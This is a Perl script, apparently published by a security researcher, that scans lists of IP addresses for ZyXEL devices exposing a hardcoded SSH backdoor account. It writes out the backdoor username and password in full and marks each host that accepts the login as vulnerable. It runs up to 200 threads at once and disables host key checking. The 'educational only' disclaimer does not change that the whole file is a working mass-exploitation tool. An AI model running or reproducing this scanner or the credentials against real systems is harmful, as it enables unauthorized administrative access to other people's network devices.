#!/usr/bin/perl
#
#  zyHell - ZyXEL GODMODE BACKDOOR ACCOUNT SCANNER
#
#  Copyright 2021 (c) Todor Donev <todor.donev at gmail.com>
#
#  https://donev.eu/
#
#  Disclaimer:
#  This or previous programs are for Educational purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages 
#  caused by direct or indirect use of the  information or functionality provided by these programs. 
#  The author or any Internet provider  bears NO responsibility for content or misuse of these programs 
#  or any derivatives thereof. By using these programs you accept the fact  that any damage (dataloss, 
#  system crash, system compromise, etc.) caused by the use  of these programs are not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!  
#  
#  (Dont do anything without permissions)
#
#
#  cpan install Data::Validate::IP MCE::Hobo MCE::Shared Net::OpenSSH
#
#  chmod +x zyHell
#  ./zyHell --help
#
#  

use warnings;

use Getopt::Long; 
use Data::Validate::IP;
use MCE::Hobo 1.817;
use MCE::Shared;
use Net::OpenSSH;

my $queue1 = MCE::Shared->queue(fast => 1);
my $queue2 = MCE::Shared->queue(fast => 1);

my $username        = "zyfwp";
my $password        = "PrOw!aN_fXp";
my $targets         = undef;
my $timeout         = 20;
my $threads         = 10;
my $port            = 22;

$ENV{'TERM'} = 'vt100';

printf("\n zyHell - ZyXEL GODMODE BACKDOOR ACCOUNT SCANNER\n");

sub help() {
    printf("\n perl $0 --targets=<FILENAME> [ --threads=10 --timeout=10 --port=22 ] --help\n\n");
    printf("   Required args:\n\n");
    printf("   %-12s |  %s\n\n", "--targets", "Specify the list with addresses that you want to scan.");
    printf("   Not required args:\n\n");
    printf("   %-12s |  %s\n", "--timeout", "Specify request timeout. Default: 20");
    printf("   %-12s |  %s\n", "--port", "Specify connection port. Default: 22");
    printf("   %-12s |  %s\n\n\n", "--threads", "Specify threads. Default: 10 / Maximum threads: 200");
    printf("   e.g. perl $0 --targets=portscan.log --threads=25\n");
    printf("   e.g. perl $0 --targets=portscan.log --threads=25 --port=2222\n");
    printf("   e.g. perl $0 --targets=portscan.log --threads=25 --timeout=20\n\n\n");
    printf(" Author: Todor Donev <todor.donev\@gmail.com> https://donev.eu/\n\n\n");
    exit;
}

GetOptions( 
            "targets=s"     => \$targets,
            "timeout=i"     => \$timeout,
            "threads=i"     => \$threads,
            "port=i"        => \$port,
            "help|h!"       => \&help
        );

help() if (!$targets);
printf(" Error: TARGETLIST not exist, not readable, not plain or is empty!\n") and exit if (! -e $targets || -z $targets || ! -r $targets || ! -f $targets);
printf(" Error: Timeout is too short. Minimum timeout: 10\n") and exit if ($timeout < 10);
printf(" Error: Threads are too many. Maximum threads: 200\n") and exit if ($threads > 200);

my @tmp_targets = ();
my @targets = `cat $targets | grep -v '^[[:space:]]*[#;]' | uniq`;

for my $line (@targets) {
    chomp($line);
    next if ($line =~ /^(\s*(#.*)?)?$/);
    next if (not is_ipv4($line));
    push @tmp_targets, $line;
}

@tmp_targets = sort { $a cmp $b } @tmp_targets;
@targets = ();
@targets = @tmp_targets;
@tmp_targets = ();
printf(" Error: There are not valid targets specified for scanning.\n") and exit if (scalar @targets == 0);

printf("------------------------------------------------------------------\n");
printf(" Target                         Status                            \n");
printf("------------------------------------------------------------------\n");


MCE::Hobo->create("work") for 1..$threads;

$queue1->enqueue(@targets);
$queue1->end;

while (my $result = $queue2->dequeue) {
    if (exists $result->{finished}) {
        MCE::Hobo->waitone;
        $queue2->end unless MCE::Hobo->pending;
        next;
    }
    my ($target, $status) = ($result->{target}, $result->{status});
    printf(" %-30.30s %-40.40s\n", $target, $status);
}

printf("------------------------------------------------------------------\n");
printf(" Author: Todor Donev <todor.donev\@gmail.com> https://donev.eu/\n\n\n");
exit;

sub work {
    while (my $addr = $queue1->dequeue()) {
        chomp($addr);
        my ($target, $status) = ssh_connect($addr, $username, $password, $port, $timeout);
        $queue2->enqueue({ target => $target, status => $status});
    }
    $queue2->enqueue({ finished => $$ });
    return;
}

sub ssh_connect {
    my ($addr, $username, $password, $port, $timeout) = @_;
    open my $default_stderr, '>>', '/dev/null' or die $!;
    my %opts = (
                    user => $username,
                    password => $password,
                    port => $port,
                    timeout => $timeout,
                    async => 0,
                    batch_mode => 0,
                    kill_ssh_on_timeout => 1,
                    ctl_dir => "/tmp/",
                    default_stderr_fh => $default_stderr,
                    master_stderr_discard => 1,
                    default_ssh_opts => [-q => "", -f => "", -o => "UserKnownHostsFile=/dev/null", -o => "StrictHostKeyChecking=no", -o => "ConnectionAttempts=0"]
                );
    my $ssh = Net::OpenSSH->new($addr, %opts);
    my $status = $ssh->error ? "NOT VULNERABLE" : "VULNERABLE";
    undef $ssh;
    return ($addr, $status);
}